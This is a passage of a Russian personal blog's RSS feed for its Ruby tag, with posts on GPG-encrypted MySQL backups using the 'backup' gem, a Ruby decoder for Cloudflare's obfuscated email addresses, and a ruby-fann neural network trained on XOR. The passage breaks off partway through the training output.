<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; ruby</title>
	<atom:link href="http://blog.lukmus.ru/tag/ruby/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>backup с PGP шифрованием</title>
		<link>http://blog.lukmus.ru/2021/03/23/gpg-backup/</link>
		<comments>http://blog.lukmus.ru/2021/03/23/gpg-backup/#comments</comments>
		<pubDate>Tue, 23 Mar 2021 18:12:03 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[настройка и установка]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=2685</guid>
		<description><![CDATA[В продолжение постов про GPG и о геме Backup собираю все в одну статью и дополняю настройкой для автоматического шифрования резервных копий. утилита GPG Установка, естественно, от пользователя с root-правами. На RedHat&#8217;ах: yum install pgp На Debian&#8217;ах: apt-get install pgp Для создания ключей все та же команда, выполнять которую можно от рядового пользователя. gpg --gen-key [...]]]></description>
			<content:encoded><![CDATA[<p>В продолжение постов <a href="https://blog.lukmus.ru/2010/10/29/gnupg-v-linux/">про GPG</a> и <a href="https://blog.lukmus.ru/2014/01/10/backup-na-yandeks-disk/">о геме Backup</a> собираю все в одну статью и дополняю настройкой для автоматического шифрования резервных копий.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2021/03/huge-encryption-517.png" alt="" /><span id="more-2685"></span></p>
<h2>утилита GPG</h2>
<p>Установка, естественно, от пользователя с root-правами.<br />
На RedHat&#8217;ах:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">yum install</span> pgp</pre></td></tr></table></div>

<p>На Debian&#8217;ах:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">apt-get install</span> pgp</pre></td></tr></table></div>

<p>Для создания ключей все та же команда, выполнять которую можно от рядового пользователя.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">--gen-key</span></pre></td></tr></table></div>

<p>Далее понадобится экспорт ключей в текстовый файл. В командах ниже <code>username@email</code>, разумеется, надо заменить на почту указанную при генерации.</p>
<p>Экспорт публичного ключа:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">--output</span> public.pgp <span style="color: #660033;">--armor</span> <span style="color: #660033;">--export</span> username<span style="color: #000000; font-weight: bold;">@</span>email</pre></td></tr></table></div>

<p>Экспорт закрытого (приватного) ключа:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">--output</span> private.pgp <span style="color: #660033;">--armor</span> <span style="color: #660033;">--export-secret-key</span> username<span style="color: #000000; font-weight: bold;">@</span>email</pre></td></tr></table></div>

<p>Если требуется, после экспорта ключей их можно удалить. Сначала удаляется закрытый ключ:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">--delete-secret-keys</span> username<span style="color: #000000; font-weight: bold;">@</span>email</pre></td></tr></table></div>

<p>Затем открытый:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">--delete-keys</span> username<span style="color: #000000; font-weight: bold;">@</span>email</pre></td></tr></table></div>

<p>Вывести список всех импортированных ключей:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">--list-keys</span></pre></td></tr></table></div>

<h2>gem backup и PGP-ключ</h2>
<p>Установка гема:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gem <span style="color: #c20cb9; font-weight: bold;">install</span> backup</pre></td></tr></table></div>

<p>Cоздание модели (в данном примере модель называется <code>ekzample</code>) для бекапа:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">backup generate:model <span style="color: #660033;">--trigger</span> ekzample
Generated model file: <span style="color: #ff0000;">'~/Backup/models/ekzample.rb'</span>.</pre></td></tr></table></div>

<p>Далее, для настройки нужного бекапа, следует отредактировать <code>~/Backup/models/ekzample.rb</code>.</p>
<p>В примере ниже показан конфиг для резервного копирования базы MySQL с последующим сжатием в tar и шифрованием архива PGP-ключом, после чего зашифрованный файл отправляется по SFTP на бекап-сервер.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;"># encoding: utf-8</span>
&nbsp;
<span style="color:#008000; font-style:italic;">##</span>
<span style="color:#008000; font-style:italic;"># Backup Generated: ekzample</span>
<span style="color:#008000; font-style:italic;"># Once configured, you can run the backup with the following command:</span>
<span style="color:#008000; font-style:italic;">#</span>
<span style="color:#008000; font-style:italic;"># $ backup perform -t ekzample [-c &lt;path_to_configuration_file&gt;]</span>
<span style="color:#008000; font-style:italic;">#</span>
<span style="color:#008000; font-style:italic;"># For more information about Backup's components, see the documentation at:</span>
<span style="color:#008000; font-style:italic;"># http://backup.github.io/backup</span>
<span style="color:#008000; font-style:italic;">#</span>
Model.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#ff3333; font-weight:bold;">:ekzample</span>, <span style="color:#996600;">'Description for ekzample'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span>
&nbsp;
  split_into_chunks_of <span style="color:#006666;">500</span>
&nbsp;
  <span style="color:#6666ff; font-weight:bold;">Encryptor::GPG</span>.<span style="color:#9900CC;">defaults</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>encryption<span style="color:#006600; font-weight:bold;">|</span>
    encryption.<span style="color:#9900CC;">keys</span> = <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span>
    encryption.<span style="color:#9900CC;">keys</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'username@email'</span><span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#006600; font-weight:bold;">&lt;&lt;-</span>KEY
      <span style="color:#006600; font-weight:bold;">-----</span><span style="color:#9966CC; font-weight:bold;">BEGIN</span> PGP PUBLIC KEY BLOCK<span style="color:#006600; font-weight:bold;">-----</span>
      ...<span style="color:#9900CC;">it</span> is place <span style="color:#9966CC; font-weight:bold;">for</span> PUBLIC KEY...
      <span style="color:#006600; font-weight:bold;">-----</span><span style="color:#9966CC; font-weight:bold;">END</span> PGP PUBLIC KEY BLOCK<span style="color:#006600; font-weight:bold;">----</span>
    KEY
    encryption.<span style="color:#9900CC;">recipients</span> = <span style="color:#996600;">'username@email'</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
  database MySQL <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>db<span style="color:#006600; font-weight:bold;">|</span>
    db.<span style="color:#9900CC;">name</span>  = <span style="color:#996600;">'exampledb'</span>
    db.<span style="color:#9900CC;">username</span> = <span style="color:#996600;">'exampleuser'</span>
    db.<span style="color:#9900CC;">password</span> = <span style="color:#996600;">'examplepass'</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
  compress_with Gzip
  encrypt_with GPG
&nbsp;
  store_with SFTP <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>server<span style="color:#006600; font-weight:bold;">|</span>
    server.<span style="color:#9900CC;">username</span> = <span style="color:#996600;">'backupuser'</span>
    server.<span style="color:#9900CC;">password</span> = <span style="color:#996600;">'backuppass'</span>
    server.<span style="color:#9900CC;">ip</span>       = <span style="color:#996600;">'111.111.111.111'</span>
    server.<span style="color:#9900CC;">port</span>     = <span style="color:#006666;">22</span>
    server.<span style="color:#9900CC;">path</span>     = <span style="color:#996600;">'~/'</span>
    <span style="color:#008000; font-style:italic;"># Use a number or a Time object to specify how many backups to keep.</span>
    server.<span style="color:#9900CC;">keep</span>     = <span style="color:#006666;">150</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># Additional options for the SSH connection.</span>
    <span style="color:#008000; font-style:italic;"># server.ssh_options = {}</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Не стоит забывать вставить между <code><<-KEY</code> и <code>KEY</code> созданный ранее ПУБЛИЧНЫЙ (открытый) ключ.</p>
<p>Для более тонкой настройки PGP-ключей, например, разные ключи для разных баз, следует воспользоваться <a href="https://backup.github.io/backup/v4/encryptor-gpg/" target="_blank" rel='nofollow'>официальной документацией</a>.</p>
<p>Запускается создание бекапа командой:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">backup perform <span style="color: #660033;">-t</span> ekzample</pre></td></tr></table></div>

<h2>извлечение бекапа</h2>
<p>Если в системе нет ключей, используемых данным бекапом, следует их импортировать:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">--import</span> private.pgp
gpg <span style="color: #660033;">--import</span> public.gpg</pre></td></tr></table></div>

<p>Далее чтобы расшифровать резервную копию понадобится команда:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">gpg <span style="color: #660033;">-o</span> ekzample.tar <span style="color: #660033;">-d</span> ekzample.tar.gpg</pre></td></tr></table></div>

<p>Для распаковки тарбола подойдет команда:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-xvf</span> ekzample.tar</pre></td></tr></table></div>

<p><meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2021/03/huge-encryption-517.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2021/03/23/gpg-backup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CloudFlare Email Protection Decoder на Ruby</title>
		<link>http://blog.lukmus.ru/2016/07/24/cloudflare-email-protection-decoder/</link>
		<comments>http://blog.lukmus.ru/2016/07/24/cloudflare-email-protection-decoder/#comments</comments>
		<pubDate>Sun, 24 Jul 2016 16:58:03 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[cloudflare]]></category>
		<category><![CDATA[email protection]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=2416</guid>
		<description><![CDATA[Известная контора CloudFlare и ее популярная услуга проксирования сайта, иногда, на определенных тарифах, не только скрывает истинный IP сервера сайта, но и может подменять контент выдаваемой сервером страницы. В частности, CF любит подменять открытые e-mail адреса, на JS-скрипт, который шифрует адрес вида xxx@yyy.zzz в исходном коде страницы. Пользователь браузера при этом не замечает подмены e-mail [...]]]></description>
			<content:encoded><![CDATA[<p>Известная контора <a href="https://www.cloudflare.com/" target="_blank" rel='nofollow'>CloudFlare</a> и ее популярная услуга проксирования сайта, иногда, на определенных тарифах, не только скрывает истинный IP сервера сайта, но и может подменять контент выдаваемой сервером страницы. В частности, CF любит подменять открытые e-mail адреса, на JS-скрипт, который шифрует адрес вида xxx@yyy.zzz в исходном коде страницы. Пользователь браузера при этом не замечает подмены e-mail адреса, т.к. JS расшифровывает его, чего не сказать о парсере.<br />
<img class="alignnone size-full wp-image-2421" title="cloudware" src="http://blog.lukmus.ru/wp-content/uploads/2016/07/cloudware.png" alt="" width="517" height="359" /><span id="more-2416"></span><br />
Если в настройках сайта в CF включена защита Email, то фрагмент исходного кода с почтовым адресом выглядит примерно так:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="html" style="font-family:monospace;">&lt;a id=&quot;__cf_email__&quot; href=&quot;http://cloudflare.com/email-protection.html&quot; class=&quot;f091809582839f9eb080999e97848582849c95de939f9d&quot;&gt;[email protected]&lt;/a&gt;</pre></td></tr></table></div>

<p>Где <code>f091809582839f9eb080999e97848582849c95de939f9d</code> &#8211; зашифрованная почта.</p>
<p>Реализации расшифровщика Cloudflare Email Encrypt существуют на множестве языков, например товарищ xl7dev <a href="http://blog.safebuff.com/2016/06/01/Cloudflare-Email-Protection-Decoder/" target="_blank" rel='nofollow'>представил</a> Cloudflare Email Protection Decoder на PHP и Python. Но разве прогрессивное человечество еще использует эти древние мантры?</p>
<h3>Cloudflare Email Protection Decoder на Ruby</h3>

<div class="wp_syntax"><table><tr><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> cf_decode<span style="color:#006600; font-weight:bold;">&#40;</span>code<span style="color:#006600; font-weight:bold;">&#41;</span>
  k=code<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span>..<span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">hex</span>
  <span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">2</span>..<span style="color:#006600; font-weight:bold;">&#40;</span>code.<span style="color:#9900CC;">size</span><span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">step</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">to_a</span>.<span style="color:#9900CC;">map</span><span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>i<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#006600; font-weight:bold;">&#40;</span>code<span style="color:#006600; font-weight:bold;">&#91;</span>i..<span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">+</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">hex</span>^k<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">chr</span><span style="color:#006600; font-weight:bold;">&#125;</span>.<span style="color:#9900CC;">join</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">$ irb
2.0.0-p648 :001 <span style="color: #000000; font-weight: bold;">&gt;</span> def cf_decode<span style="color: #7a0874; font-weight: bold;">&#40;</span>code<span style="color: #7a0874; font-weight: bold;">&#41;</span>
2.0.0-p648 :002?<span style="color: #000000; font-weight: bold;">&gt;</span>     <span style="color: #007800;">k</span>=code<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>..<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>.hex
2.0.0-p648 :003?<span style="color: #000000; font-weight: bold;">&gt;</span>     <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span>..<span style="color: #7a0874; font-weight: bold;">&#40;</span>code.size-<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.step<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.to_a.map<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">|</span>i<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>code<span style="color: #7a0874; font-weight: bold;">&#91;</span>i..<span style="color: #7a0874; font-weight: bold;">&#40;</span>i+<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>.hex^k<span style="color: #7a0874; font-weight: bold;">&#41;</span>.chr<span style="color: #7a0874; font-weight: bold;">&#125;</span>.join
2.0.0-p648 :004?<span style="color: #000000; font-weight: bold;">&gt;</span>   end
 =<span style="color: #000000; font-weight: bold;">&gt;</span> nil 
2.0.0-p648 :005 <span style="color: #000000; font-weight: bold;">&gt;</span> cf_decode<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">'f091809582839f9eb080999e97848582849c95de939f9d'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
 =<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #ff0000;">&quot;aperson@pingturtle.com&quot;</span> 
2.0.0-p648 :006 <span style="color: #000000; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p><meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2016/07/cloudware.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2016/07/24/cloudflare-email-protection-decoder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>нейронные сети на ruby</title>
		<link>http://blog.lukmus.ru/2013/01/21/neyronnyie-seti-na-ruby/</link>
		<comments>http://blog.lukmus.ru/2013/01/21/neyronnyie-seti-na-ruby/#comments</comments>
		<pubDate>Mon, 21 Jan 2013 22:31:28 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby-fann]]></category>
		<category><![CDATA[искусственный интеллект]]></category>
		<category><![CDATA[нейронная сеть]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1774</guid>
		<description><![CDATA[Недавно я узнал о том, что больше не надо заморачиваться и писать всю логику работы нейросетки. Собственно говоря, это уже давно можно было не делать благодаря существованию такой библиотеки на C как Fast Artificial Neural Network. А спустя считанные минуты я с удивлением обнаружил, что FANN уже давно портатированна на различные языки более высокого уровня, [...]]]></description>
			<content:encoded><![CDATA[<p>Недавно я узнал о том, что больше не надо заморачиваться и писать всю логику работы нейросетки. Собственно говоря, это уже давно можно было не делать благодаря существованию такой библиотеки на C как <a href="http://leenissen.dk/fann/wp/" target="_blank" rel='nofollow'>Fast Artificial Neural Network</a>. А спустя считанные минуты я с удивлением обнаружил, что FANN уже давно портатированна на <a href="http://leenissen.dk/fann/wp/language-bindings/" target="_blank" rel='nofollow'>различные языки более высокого уровня</a>, включая PHP, Python и, конечно, апогей человеческого гения &#8211; Ruby.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/01/kaspersky.jpg" alt="Касперский пиарится на Красном Октябре" title="Касперский пиарится на Красном Октябре" width="517" height="400" class="aligncenter size-full wp-image-1776" /><span id="more-1774"></span><br />
Для Ruby интерфейс к FANN обеспечивает гем <a href="http://ruby-fann.rubyforge.org/" target="_blank" rel='nofollow'>ruby-fann</a>.</p>
<h2>установка</h2>
<p>Для установки его под рельсы надо закинуть в <code>Gemfile</code></p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="ruby" style="font-family:monospace;">gem <span style="color:#996600;">'ruby-fann'</span></pre></td></tr></table></div>

<p>и забандлить</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">bundle <span style="color: #c20cb9; font-weight: bold;">install</span></pre></td></tr></table></div>

<h3>установка graphviz</h3>
<p>Еще для отображения графической схемы нейронной сети можно воспользоваться <code>graphviz</code>. Эта штука вроде как должна экспортировать графическую схему сетки в PNG или VRML.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">yum install</span> graphviz
gem <span style="color: #c20cb9; font-weight: bold;">install</span> ruby-graphviz</pre></td></tr></table></div>

<h2>эксплуатация</h2>
<p>У гема есть <a href="http://ruby-fann.rubyforge.org/rdoc/" target="_blank" rel='nofollow'>подробная документация</a>.<br />
В качестве примера я не буду дублировать код на сайте гема, а приведу нейросеть для решения <a href="http://www.aiportal.ru/downloads/neural-networks/nn_xor.html" target="_blank" rel='nofollow'>классической задачи с XOR</a>, только с большим количеством нейронов.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/01/image0341.jpg" alt="" title="image034" width="517" height="294" class="alignnone size-full wp-image-1791" /><br />
Код упакован в rake-файл рельс.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="ruby" style="font-family:monospace;">namespace <span style="color:#ff3333; font-weight:bold;">:test</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  desc <span style="color:#996600;">'test NN'</span>
  task <span style="color:#ff3333; font-weight:bold;">:nn</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#ff3333; font-weight:bold;">:environment</span> <span style="color:#9966CC; font-weight:bold;">do</span>
&nbsp;
    <span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'ruby_fann/neural_network'</span>
    <span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'ruby_fann/neurotica'</span> <span style="color:#008000; font-style:italic;">#только для graphviz</span>
&nbsp;
    <span style="color:#008000; font-style:italic;">#объявляется ИНС</span>
    fann = <span style="color:#6666ff; font-weight:bold;">RubyFann::Standard</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>
	<span style="color:#ff3333; font-weight:bold;">:num_inputs</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">2</span>, <span style="color:#008000; font-style:italic;">#входы</span>
	<span style="color:#008000; font-style:italic;">#кол-во нейронов на первом и </span>
        <span style="color:#008000; font-style:italic;">#втором уровнях соответственно</span>
	<span style="color:#ff3333; font-weight:bold;">:hidden_neurons</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">3</span>, <span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#93;</span>, 
	<span style="color:#ff3333; font-weight:bold;">:num_outputs</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">1</span> <span style="color:#008000; font-style:italic;">#выходы</span>
    <span style="color:#006600; font-weight:bold;">&#41;</span>
&nbsp;
    <span style="color:#008000; font-style:italic;">#обучение</span>
    pairs=<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span>,<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span>,<span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#008000; font-style:italic;">#учебные данные</span>
    training_data = <span style="color:#6666ff; font-weight:bold;">RubyFann::TrainData</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>
  	<span style="color:#ff3333; font-weight:bold;">:inputs</span><span style="color:#006600; font-weight:bold;">=&gt;</span>pairs, 
  	<span style="color:#008000; font-style:italic;">#правильные результаты в соответствии с учебными данными</span>
  	<span style="color:#ff3333; font-weight:bold;">:desired_outputs</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#93;</span> 
    <span style="color:#006600; font-weight:bold;">&#41;</span>
&nbsp;
    <span style="color:#008000; font-style:italic;">#собственно само обучение</span>
    fann.<span style="color:#9900CC;">train_on_data</span><span style="color:#006600; font-weight:bold;">&#40;</span>
	training_data, <span style="color:#008000; font-style:italic;">#данные для обучения</span>
	<span style="color:#006666;">1000</span>, <span style="color:#008000; font-style:italic;">#макс. кол-во эпох</span>
	<span style="color:#006666;">1</span>, <span style="color:#008000; font-style:italic;">#кол-во эпох спустя которые выводить рез-тат</span>
	<span style="color:#006666;">0.01</span> <span style="color:#008000; font-style:italic;">#допустимая погрешность</span>
    <span style="color:#006600; font-weight:bold;">&#41;</span>
&nbsp;
    <span style="color:#008000; font-style:italic;">#проверка обученности сети</span>
    pairs.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>pair<span style="color:#006600; font-weight:bold;">|</span>
	<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{pair}: #{fann.run(pair)}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#008000; font-style:italic;">#вывод полученных нейронов</span>
    fann.<span style="color:#9900CC;">get_neurons</span>.<span style="color:#9900CC;">each</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>n<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#CC0066; font-weight:bold;">p</span> n<span style="color:#006600; font-weight:bold;">&#125;</span>
&nbsp;
    <span style="color:#008000; font-style:italic;">#вывод графической схемы</span>
    graph=<span style="color:#6666ff; font-weight:bold;">RubyFann::Neurotica</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    graph.<span style="color:#9900CC;">graph</span><span style="color:#006600; font-weight:bold;">&#40;</span>fann, <span style="color:#996600;">'xor_nn.png'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">$ bundle <span style="color: #7a0874; font-weight: bold;">exec</span> rake test:nn
Max epochs     <span style="color: #000000;">1000</span>. Desired error: <span style="color: #000000;">0.0099999998</span>.
Epochs            <span style="color: #000000;">1</span>. Current error: <span style="color: #000000;">0.2501267791</span>. Bit fail <span style="color: #000000;">4</span>.
Epochs            <span style="color: #000000;">2</span>. Current error: <span style="color: #000000;">0.2520069778</span>. Bit fail <span style="color: #000000;">4</span>.
Epochs            <span style="color: #000000;">3</span>. Current error: <span style="color: #000000;">0.2551138699</span>. Bit fail <span style="color: #000000;">4</span>.
Epochs            <span style="color: #000000;">4</span>. Current error: <span style="color: #000000;">0.2513942719</span>. Bit fail <span style="color: #000000;">4</span>.
Epochs            <span style="color: #000000;">5</span>. Current error: <span style="color: #000000;">0.2500072420</span>. Bit fail <span style="color: #000000;">4</span>.
...
Epochs          <span style="color: #000000;">370</span>. Current error: <span style="color: #000000;">0.0440760627</span>. Bit fail <span style="color: #000000;">1</span>.
Epochs          <span style="color: #000000;">371</span>. Current error: <span style="color: #000000;">0.0343447179</span>. Bit fail <span style="color: #000000;">0</span>.
Epochs          <span style="color: #000000;">372</span>. Current error: <span style="color: #000000;">0.0233961642</span>. Bit fail <span style="color: #000000;">0</span>.
Epochs          <span style="color: #000000;">373</span>. Current error: <span style="color: #000000;">0.0175627228</span>. Bit fail <span style="color: #000000;">0</span>.
Epochs          <span style="color: #000000;">374</span>. Current error: <span style="color: #000000;">0.0113563286</span>. Bit fail <span style="color: #000000;">0</span>.
Epochs          <span style="color: #000000;">375</span>. Current error: <span style="color: #000000;">0.0067548323</span>. Bit fail <span style="color: #000000;">0</span>.
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>: <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0.045396712927026114</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span>, <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>: <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0.9389753126711914</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
